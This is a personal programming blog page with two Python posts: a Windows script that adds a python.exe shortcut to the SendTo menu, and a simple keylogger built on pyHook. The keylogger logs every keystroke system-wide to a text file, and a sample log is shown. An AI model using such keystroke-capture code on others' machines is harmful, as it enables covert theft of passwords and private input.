analitics

Pages

Showing posts with label pythoncom. Show all posts
Showing posts with label pythoncom. Show all posts

Tuesday, May 12, 2020

Python 3.8.3 : Create shortcuts and add python to the context menu.

The tutorial for today is a simple script for python user.
If you run this python script in your folder you will get an python shortcut to the python and the python to the Context Menu in Windows 10.
The Context Menu can be used with right click from your mouse, see the screenshot.

This script can also be used with any executable if you make some changes.
import os
import pythoncom
from win32com.shell import shell

dirpath = os.getcwd()
if not os.path.exists(dirpath):
    os.makedirs(dirpath)

win_user = os.getenv('username')
shortcut_path = dirpath + r"\python.lnk"

shortcut_path = str(r"C:\\Users\\")+win_user+str("\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\python.lnk")

target_path = r"D:\\Python38_64\\python.exe"

shortcut_instance = pythoncom.CoCreateInstance(
    shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
persist_file = shortcut_instance.QueryInterface(pythoncom.IID_IPersistFile)
shortcut_instance.SetPath(target_path)
persist_file.Save (shortcut_path, 0)

Monday, February 10, 2014

My first logger python script to record keys .

Few days ago I worked with one issue : keyboard logger .
My first dilemma was: to use assemblly language or something simple like python.
My option was python - simple and fast to test how to deal with this issue.
About logger : A keyboard Logger is intended to record the keystrokes that a user inputs on a computer keyboard in addition to other user actions.
I make simple script after I search about how to deal with this.
You can see my script is simple and can be use if you want to record Python Interactive Interpreter.
I don't finish it , some keys like : backspace or enter will be put into log file.
So if you deal very well with python don't use this keys...
Anyway if I want to finish this then I need to fix this ...
Let's see the python script:
try:
 import pythoncom, pyHook, sys, logging
except:
 sys.exit()

#specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}

specials = {9:'TAB',13:'ENTER', 27:'ESC'}
buffer = ''

def OnKeyboardEvent(event):
 try:
  logging.basicConfig(filename='C:\\aa\\log_output.txt',level=logging.DEBUG,format='%(message)s')
  global buffer
  
  if event.Ascii in range(32,127):
   print chr(event.Ascii)
   buffer += chr(event.Ascii)
  
  if event.Ascii in specials:
   print '<'+specials[event.Ascii]+'>'
   logging.log(10,buffer)
   buffer = ''
   logging.log(10,'<'+specials[event.Ascii]+'>')
   
  return True
 except:
  sys.exit()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Let's see the result of this :

The output log text file ...:
python 
<ENTER>
import os 
<ENTER>
import sys
<ENTER>